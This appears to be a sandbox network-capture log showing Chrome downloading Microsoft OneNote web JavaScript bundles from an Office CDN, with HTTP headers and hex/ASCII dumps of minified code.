2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 73 74 20 69 3d 74 2e 61 70 70 55 6e 6c 6f 61 64 65 64 4d 65 73 73 61 67 65 56 61 6c 75 65 73 2c 73 3d 4e 75 6d 62 65 72 28 69 2e 68 6f 73 74 4d 65 73 73 61 67 65 52 65 63 65 69 76 65 64 29 3b 74 2e 66 6f 72 63 65 41 70 70 55 6e 6c 6f 61 64 53 74 61 72 74 54 69 6d 65 26 26 21 69 73 4e 61 4e 28 73 29 26 26 28 65 2e 68 6f 73 74 54 6f 41 70 70 50 6f 73 74 4d 65 73 73 61 67 65 4c 61 74 65 6e 63 79 3d 73 2d 74 2e 66 6f 72 63 65 41 70 70 55 6e 6c 6f 61 64 53 74 61 72 74 54 69 6d 65 29 3b 63 6f 6e 73 74 20 6f 3d 4e 75 6d 62 65 72 28 69 2e 61 70 70 4d 65 73 73 61 67 65 53 65 6e 74 29 3b 21 69 73 4e 61 4e 28 6f 29 26 26 74 2e 66 6f 72 63 65 41 70 70 55 6e 6c 6f 61 64 45 6e 64 54 69 6d 65 26 26 28 65 2e 61 70 70 54 6f 48 6f 73 74 50 6f 73 74 4d 65 73 73 61 67 65 4c Data Ascii: st i=t.appUnloadedMessageValues,s=Number(i.hostMessageReceived);t.forceAppUnloadStartTime&&!isNaN(s)&&(e.hostToAppPostMessageLatency=s-t.forceAppUnloadStartTime);const o=Number(i.appMessageSent);!isNaN(o)&&t.forceAppUnloadEndTime&&(e.appToHostPostMessageL
2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 6f 6e 73 74 20 6f 3d 65 65 28 65 29 3b 69 2e 63 6f 6e 74 61 69 6e 65 72 26 26 6f 26 26 69 2e 63 6f 6e 74 61 69 6e 65 72 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 56 2e 49 6f 2c 7b 68 6f 73 74 4b 65 79 3a 73 2c 68 6f 73 74 56 61 6c 75 65 3a 6f 7d 29 2c 74 28 7b 63 6f 6d 70 6c 65 74 69 6f 6e 3a 22 73 75 63 63 65 73 73 22 7d 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 29 7b 49 74 28 74 2e 68 6f 73 74 4b 65 79 2c 74 2e 68 6f 73 74 56 61 6c 75 65 2c 33 36 35 29 7d 63 6f 6e 73 74 20 6f 65 3d 28 74 2c 65 2c 69 2c 73 2c 6f 29 3d 3e 74 21 3d 3d 48 2e 6c 73 3f 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 22 57 72 6f 6e 67 20 66 6c 6f 77 22 29 3a 6e 65 77 20 50 72 6f 6d 69 73 65 28 74 3d 3e 7b 63 6f 6e 73 74 20 73 3d 65 2e 68 6f 73 74 4b 65 79 2c 6f 3d 65 2e 68 Data Ascii: onst o=ee(e);i.container&&o&&i.container.postMessage(V.Io,{hostKey:s,hostValue:o}),t({completion:"success"})});function se(t){It(t.hostKey,t.hostValue,365)}const oe=(t,e,i,s,o)=>t!==H.ls?Promise.reject("Wrong flow"):new Promise(t=>{const s=e.hostKey,o=e.h
2024-07-16 11:07:46 UTC	2	IN	Data Raw: 36 34 Data Ascii: 64
2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 34 34 31 39 35 2c 5f 2e 42 2c 54 2e 49 6e 66 6f 2c 22 48 61 6e 64 6c 65 57 61 63 52 65 61 64 79 4d 65 73 73 61 67 65 20 2d 20 22 2b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 29 2c 74 68 69 73 2e 4a 61 26 26 28 74 68 69 73 2e 69 63 3f 74 68 69 73 2e 70 63 28 74 68 69 73 2e 69 63 29 3a 74 68 69 73 2e 4c 61 28 56 2e 47 6f 2c 7b 7d 29 29 2c 74 68 69 73 2e 6f 63 26 26 74 68 69 73 2e 6e 63 3f 74 68 69 73 2e 67 63 26 26 74 68 69 73 2e 76 63 28 29 3a 74 68 69 73 2e 47 61 26 26 74 68 69 73 2e 6c 63 28 29 2c 56 74 28 74 68 69 73 2e 6b 61 2c 74 29 7d 2c 74 68 69 73 2e 68 63 3d 74 3d 3e 7b 74 68 69 73 2e 72 63 3d 21 30 2c 74 68 69 73 2e 4d 61 2e 73 65 73 73 69 6f 6e 43 6f 6d 70 6c 65 74 65 41 63 6b 52 65 63 65 69 76 65 64 54 69 6d 65 3d 4f 28 29 7d 2c 74 68 Data Ascii: 44195,_.B,T.Info,"HandleWacReadyMessage - "+JSON.stringify(e)),this.Ja&&(this.ic?this.pc(this.ic):this.La(V.Go,{})),this.oc&&this.nc?this.gc&&this.vc():this.Ga&&this.lc(),Vt(this.ka,t)},this.hc=t=>{this.rc=!0,this.Ma.sessionCompleteAckReceivedTime=O()},th
2024-07-16 11:07:46 UTC	16383	IN	Data Raw: 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 3b 6e 75 6c 6c 21 3d 73 26 26 76 6f 69 64 20 30 21 3d 3d 73 26 26 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 7d 7d 49 6e 69 74 69 61 6c 69 7a 65 57 6f 70 69 50 65 6e 64 69 6e 67 28 74 2c 65 2c 69 2c 73 2c 6f 2c 6e 29 7b 6c 65 74 20 72 2c 68 2c 64 2c 6c 2c 70 3d 21 31 3b 74 72 79 7b 69 3f 68 3d 69 3a 5b 68 2c 64 5d 3d 58 28 29 2c 55 28 78 74 28 74 2e 41 70 70 6c 69 63 61 74 69 6f 6e 55 72 6c 2c 68 29 2c 22 4f 6e 65 4e 6f 74 65 22 2c 22 69 6e 69 74 22 29 3b 63 6f 6e 73 74 20 53 3d 4f 28 29 3b 6c 65 74 20 49 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 69 6e 69 74 50 61 72 61 6d 73 22 29 3b 63 6f 6e 73 74 20 65 Data Ascii: ame("head")[0];null!=s&&void 0!==s&&s.appendChild(e)}}InitializeWopiPending(t,e,i,s,o,n){let r,h,d,l,p=!1;try{i?h=i:[h,d]=X(),U(xt(t.ApplicationUrl,h),"OneNote","init");const S=O();let I;!function(t){if(void 0===t)throw new TypeError("initParams");const e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50080	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:47 UTC	678	OUT	GET /wise/owl/owl.onenote.0d5db2950b46cf8923b1.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://amdat-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:48 UTC	1189	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 52909 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Tue, 16 Jul 2024 11:07:48 GMT Last-Modified: Mon, 15 Jul 2024 20:17:51 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=1467566433129844768712058332431529169513"}],"include_subdomains ":true} Server: ECAcc (lhc/7968) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: b585390c-601e-0020-07f5-d613a7000000 Content-Length: 328384 Connection: close
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 69 2c 6f 3d 7b 38 34 34 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 74 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 6e 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2d 24 22 2c 69 3d 7b 7d 3b 66 75 6e Data Ascii: var Microsoft;!function(){var e,t,n,i,o={8444:function(e,t,n){var i,o=function(){var e=String.fromCharCode,t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};fun
2024-07-16 11:07:48 UTC	1	IN	Data Raw: 4e Data Ascii: N
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 65 77 3d 22 63 6f 6d 70 6c 65 74 65 43 72 65 61 74 65 4e 65 77 22 2c 65 2e 63 6f 6e 74 69 6e 75 65 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 3d 22 63 6f 6e 74 69 6e 75 65 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 22 2c 65 2e 63 72 65 61 74 65 4e 65 77 3d 22 63 72 65 61 74 65 4e 65 77 22 2c 65 2e 64 69 73 70 6f 73 65 3d 22 64 69 73 70 6f 73 65 22 2c 65 2e 67 72 61 62 46 6f 63 75 73 3d 22 67 72 61 62 46 6f 63 75 73 22 2c 65 2e 6d 6f 76 65 54 6f 46 6f 6c 64 65 72 3d 22 6d 6f 76 65 54 6f 46 6f 6c 64 65 72 22 2c 65 2e 70 6f 70 53 74 61 74 65 3d 22 70 6f 70 53 74 61 74 65 22 2c 65 2e 73 65 6e 64 43 68 61 6e 6e 65 6c 49 64 3d 22 73 65 6e 64 43 68 61 6e 6e 65 6c 49 64 22 2c 65 2e 73 65 6e 64 43 6f 6e 76 49 64 3d 22 73 65 6e 64 43 6f 6e 76 49 64 Data Ascii: ew="completeCreateNew",e.continueAccessibilityLoop="continueAccessibilityLoop",e.createNew="createNew",e.dispose="dispose",e.grabFocus="grabFocus",e.moveToFolder="moveToFolder",e.popState="popState",e.sendChannelId="sendChannelId",e.sendConvId="sendConvId
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 29 2c 6e 7d 67 65 74 45 76 65 6e 74 42 6c 6f 63 6b 65 72 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 65 6e 64 73 57 69 74 68 28 72 2e 55 53 41 47 45 5f 4b 50 49 29 3f 74 68 69 73 2e 6b 70 69 55 73 61 67 65 45 76 65 6e 74 42 6c 6f 63 6b 65 72 3a 65 2e 69 6e 63 6c 75 64 65 73 28 72 2e 46 41 49 4c 55 52 45 5f 4b 50 49 29 3f 74 68 69 73 2e 6b 70 69 46 61 69 6c 75 72 65 45 76 65 6e 74 42 6c 6f 63 6b 65 72 3a 65 2e 65 6e 64 73 57 69 74 68 28 72 2e 53 55 43 43 45 53 53 5f 4b 50 49 29 3f 74 68 69 73 2e 6b 70 69 53 75 63 63 65 73 73 45 76 65 6e 74 42 6c 6f 63 6b 65 72 3a 76 6f 69 64 20 30 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 6e 2c 69 2c 6f 29 7b 74 68 69 73 2e 68 65 61 6c 74 68 4c 6f 67 67 65 72 3d 65 2c 74 68 69 73 2e 66 65 61 74 75 72 65 43 6f 6e 66 69 Data Ascii: ),n}getEventBlocker(e){return e.endsWith(r.USAGE_KPI)?this.kpiUsageEventBlocker:e.includes(r.FAILURE_KPI)?this.kpiFailureEventBlocker:e.endsWith(r.SUCCESS_KPI)?this.kpiSuccessEventBlocker:void 0}constructor(e,t,n,i,o){this.healthLogger=e,this.featureConfi
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 47 63 32 4f 70 65 72 61 74 69 6f 6e 22 2c 65 5b 65 2e 6f 69 3d 38 35 32 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 47 63 32 45 64 69 74 43 61 6e 76 61 73 22 2c 65 5b 65 2e 73 69 3d 38 34 34 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 44 61 74 61 53 79 6e 63 22 2c 65 5b 65 2e 72 69 3d 38 34 38 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 46 6c 75 69 64 52 75 6e 74 69 6d 65 22 2c 65 5b 65 2e 63 69 3d 38 31 35 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 53 68 61 70 65 22 2c 65 5b 65 2e 6c 69 3d 38 31 37 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 53 65 73 73 69 6f 6e 22 2c 65 5b 65 2e 64 69 3d 38 33 30 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 53 6c 69 64 65 73 Data Ascii: Gc2Operation",e[e.oi=852]="msoulscat_Wac_PptGc2EditCanvas",e[e.si=844]="msoulscat_Wac_PptDataSync",e[e.ri=848]="msoulscat_Wac_PptFluidRuntime",e[e.ci=815]="msoulscat_Wac_PptShape",e[e.li=817]="msoulscat_Wac_PptSession",e[e.di=830]="msoulscat_Wac_PptSlides
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 2e 69 73 54 77 6f 53 74 65 70 43 72 65 61 74 65 4e 65 77 26 26 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 4c 6f 61 64 50 72 6f 6d 69 73 65 29 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 4c 6f 61 64 50 72 6f 6d 69 73 65 2e 74 68 65 6e 28 28 65 3d 3e 7b 65 3f 64 28 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 2c 6c 2e 57 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 49 6e 66 6f 29 3a 24 3f 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 30 37 37 37 38 33 32 32 2c 68 2e 6e 2e 54 69 2c 66 2e 6b 2e 57 61 72 6e 69 6e 67 2c 22 4f 66 66 69 63 65 20 62 6f 6f 74 73 74 72 61 70 70 65 72 20 66 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 20 32 2d 73 74 65 70 20 63 72 65 61 74 65 20 6e 65 77 2c 20 63 68 65 63 6b 20 70 72 65 76 69 6f 75 73 20 6c 6f Data Ascii: .isTwoStepCreateNew&&l.W.bootstrapperLoadPromise)l.W.bootstrapperLoadPromise.then((e=>{e?d(l.W.bootstrapper,l.W.bootstrapperInfo):$?.ULS.sendTraceTag(507778322,h.n.Ti,f.k.Warning,"Office bootstrapper failed to load for 2-step create new, check previous lo
2024-07-16 11:07:48 UTC	4	IN	Data Raw: 70 6c 65 74 Data Ascii: plet
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 65 64 3a 72 65 74 75 72 6e 20 72 2e 59 2e 6d 6f 76 65 54 6f 46 6f 6c 64 65 72 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 43 6f 6d 70 6c 65 74 65 46 69 6c 65 50 69 63 6b 65 72 3a 72 65 74 75 72 6e 20 72 2e 59 2e 63 6f 6d 70 6c 65 74 65 53 68 61 72 65 64 46 69 6c 65 50 69 63 6b 65 72 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 53 65 6e 64 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 3a 72 65 74 75 72 6e 20 72 2e 59 2e 73 65 6e 64 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 53 65 74 44 61 76 55 72 6c 46 72 6f 6d 49 64 73 3a 72 65 74 75 72 6e 20 72 2e 59 2e 73 65 6e 64 44 61 76 55 72 6c 3b 63 61 73 65 20 73 2e 50 68 2e 50 6f 73 74 4d Data Ascii: ed:return r.Y.moveToFolder;case s.Ph.PostMessage_CompleteFilePicker:return r.Y.completeSharedFilePicker;case s.Ph.PostMessage_SendCustomAuthConfig:return r.Y.sendCustomAuthConfig;case s.Ph.PostMessage_SetDavUrlFromIds:return r.Y.sendDavUrl;case s.Ph.PostM
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 72 3d 22 4f 74 68 65 72 22 7d 28 75 7c 7c 28 75 3d 7b 7d 29 29 3b 63 6f 6e 73 74 20 6c 3d 7b 7d 3b 76 61 72 20 64 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 77 3d 22 4e 45 57 22 2c 65 2e 42 61 63 6b 73 74 61 67 65 4d 72 75 3d 22 42 41 43 4b 53 54 41 47 45 2d 4d 52 55 22 2c 65 2e 52 65 62 6f 6f 74 3d 22 52 45 42 4f 4f 54 22 7d 28 64 7c 7c 28 64 3d 7b 7d 29 29 7d 2c 32 39 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 57 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 7d 2c 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 7d 7d 29 3b 76 61 72 20 69 3d 6e 28 35 35 39 31 29 2c 6f 3d 6e 28 34 32 38 34 29 2c 73 3d 6e 28 35 30 38 33 29 2c 72 3d 6e 28 37 33 Data Ascii: r="Other"}(u\|\|(u={}));const l={};var d;!function(e){e.New="NEW",e.BackstageMru="BACKSTAGE-MRU",e.Reboot="REBOOT"}(d\|\|(d={}))},2914:function(e,t,n){"use strict";n.d(t,{W:function(){return f},d:function(){return p}});var i=n(5591),o=n(4284),s=n(5083),r=n(73
2024-07-16 11:07:48 UTC	16383	IN	Data Raw: 61 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 31 34 39 34 3a 22 6c 62 2d 6c 75 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 31 34 39 35 3a 22 70 74 2d 70 74 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 31 35 36 38 3a 22 7a 68 2d 63 6e 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 31 37 31 33 3a 22 6b 79 2d 6b 67 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 31 38 32 37 3a 22 64 61 2d 64 6b 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 31 38 33 36 3a 22 76 69 2d 76 6e 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 32 30 37 37 3a 22 62 67 2d 62 67 2d 6f 77 6c 2d 73 74 72 69 6e 67 73 2d 6a 73 6f 6e 22 2c 32 30 39 34 3a 22 73 64 2d 61 72 61 62 2d 70 6b 2d 6f 77 6c 2d 73 74 72 69 Data Ascii: a-owl-strings-json",1494:"lb-lu-owl-strings-json",1495:"pt-pt-owl-strings-json",1568:"zh-cn-owl-strings-json",1713:"ky-kg-owl-strings-json",1827:"da-dk-owl-strings-json",1836:"vi-vn-owl-strings-json",2077:"bg-bg-owl-strings-json",2094:"sd-arab-pk-owl-stri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50083	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:49 UTC	683	OUT	GET /wise/owl/owl.onenote.slim.e381401a7dae5b410169.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://amdat-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:50 UTC	1187	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 52909 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Tue, 16 Jul 2024 11:07:50 GMT Last-Modified: Mon, 15 Jul 2024 20:17:51 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=27541926149107742518390310114615859474"}],"include_subdomains ":true} Server: ECAcc (lhc/7971) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 328a0b37-101e-0077-3bf5-d6bd94000000 Content-Length: 301711 Connection: close
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 2c 69 2c 6e 2c 6f 3d 7b 38 34 34 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 76 61 72 20 6e 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 65 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 69 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2d 24 22 2c 6e 3d 7b 7d 3b 66 75 6e Data Ascii: var Microsoft;!function(){var t,e,i,n,o={8444:function(t,e,i){var n,o=function(){var t=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",n={};fun
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 4e 65 77 3d 22 63 6f 6d 70 6c 65 74 65 43 72 65 61 74 65 4e 65 77 22 2c 74 2e 63 6f 6e 74 69 6e 75 65 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 3d 22 63 6f 6e 74 69 6e 75 65 41 63 63 65 73 73 69 62 69 6c 69 74 79 4c 6f 6f 70 22 2c 74 2e 63 72 65 61 74 65 4e 65 77 3d 22 63 72 65 61 74 65 4e 65 77 22 2c 74 2e 64 69 73 70 6f 73 65 3d 22 64 69 73 70 6f 73 65 22 2c 74 2e 67 72 61 62 46 6f 63 75 73 3d 22 67 72 61 62 46 6f 63 75 73 22 2c 74 2e 6d 6f 76 65 54 6f 46 6f 6c 64 65 72 3d 22 6d 6f 76 65 54 6f 46 6f 6c 64 65 72 22 2c 74 2e 70 6f 70 53 74 61 74 65 3d 22 70 6f 70 53 74 61 74 65 22 2c 74 2e 73 65 6e 64 43 68 61 6e 6e 65 6c 49 64 3d 22 73 65 6e 64 43 68 61 6e 6e 65 6c 49 64 22 2c 74 2e 73 65 6e 64 43 6f 6e 76 49 64 3d 22 73 65 6e 64 43 6f 6e 76 49 Data Ascii: New="completeCreateNew",t.continueAccessibilityLoop="continueAccessibilityLoop",t.createNew="createNew",t.dispose="dispose",t.grabFocus="grabFocus",t.moveToFolder="moveToFolder",t.popState="popState",t.sendChannelId="sendChannelId",t.sendConvId="sendConvI
2024-07-16 11:07:50 UTC	2	IN	Data Raw: 65 29 Data Ascii: e)
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 2c 69 7d 67 65 74 45 76 65 6e 74 42 6c 6f 63 6b 65 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 65 6e 64 73 57 69 74 68 28 72 2e 55 53 41 47 45 5f 4b 50 49 29 3f 74 68 69 73 2e 6b 70 69 55 73 61 67 65 45 76 65 6e 74 42 6c 6f 63 6b 65 72 3a 74 2e 69 6e 63 6c 75 64 65 73 28 72 2e 46 41 49 4c 55 52 45 5f 4b 50 49 29 3f 74 68 69 73 2e 6b 70 69 46 61 69 6c 75 72 65 45 76 65 6e 74 42 6c 6f 63 6b 65 72 3a 74 2e 65 6e 64 73 57 69 74 68 28 72 2e 53 55 43 43 45 53 53 5f 4b 50 49 29 3f 74 68 69 73 2e 6b 70 69 53 75 63 63 65 73 73 45 76 65 6e 74 42 6c 6f 63 6b 65 72 3a 76 6f 69 64 20 30 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 2c 69 2c 6e 2c 6f 29 7b 74 68 69 73 2e 68 65 61 6c 74 68 4c 6f 67 67 65 72 3d 74 2c 74 68 69 73 2e 66 65 61 74 75 72 65 43 6f 6e 66 69 67 Data Ascii: ,i}getEventBlocker(t){return t.endsWith(r.USAGE_KPI)?this.kpiUsageEventBlocker:t.includes(r.FAILURE_KPI)?this.kpiFailureEventBlocker:t.endsWith(r.SUCCESS_KPI)?this.kpiSuccessEventBlocker:void 0}constructor(t,e,i,n,o){this.healthLogger=t,this.featureConfig
2024-07-16 11:07:50 UTC	16383	IN	Data Raw: 63 32 4f 70 65 72 61 74 69 6f 6e 22 2c 74 5b 74 2e 63 6e 3d 38 35 32 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 47 63 32 45 64 69 74 43 61 6e 76 61 73 22 2c 74 5b 74 2e 75 6e 3d 38 34 34 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 44 61 74 61 53 79 6e 63 22 2c 74 5b 74 2e 6c 6e 3d 38 34 38 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 46 6c 75 69 64 52 75 6e 74 69 6d 65 22 2c 74 5b 74 2e 68 6e 3d 38 31 35 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 53 68 61 70 65 22 2c 74 5b 74 2e 64 6e 3d 38 31 37 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 53 65 73 73 69 6f 6e 22 2c 74 5b 74 2e 66 6e 3d 38 33 30 5d 3d 22 6d 73 6f 75 6c 73 63 61 74 5f 57 61 63 5f 50 70 74 53 6c 69 64 65 73 68 Data Ascii: c2Operation",t[t.cn=852]="msoulscat_Wac_PptGc2EditCanvas",t[t.un=844]="msoulscat_Wac_PptDataSync",t[t.ln=848]="msoulscat_Wac_PptFluidRuntime",t[t.hn=815]="msoulscat_Wac_PptShape",t[t.dn=817]="msoulscat_Wac_PptSession",t[t.fn=830]="msoulscat_Wac_PptSlidesh
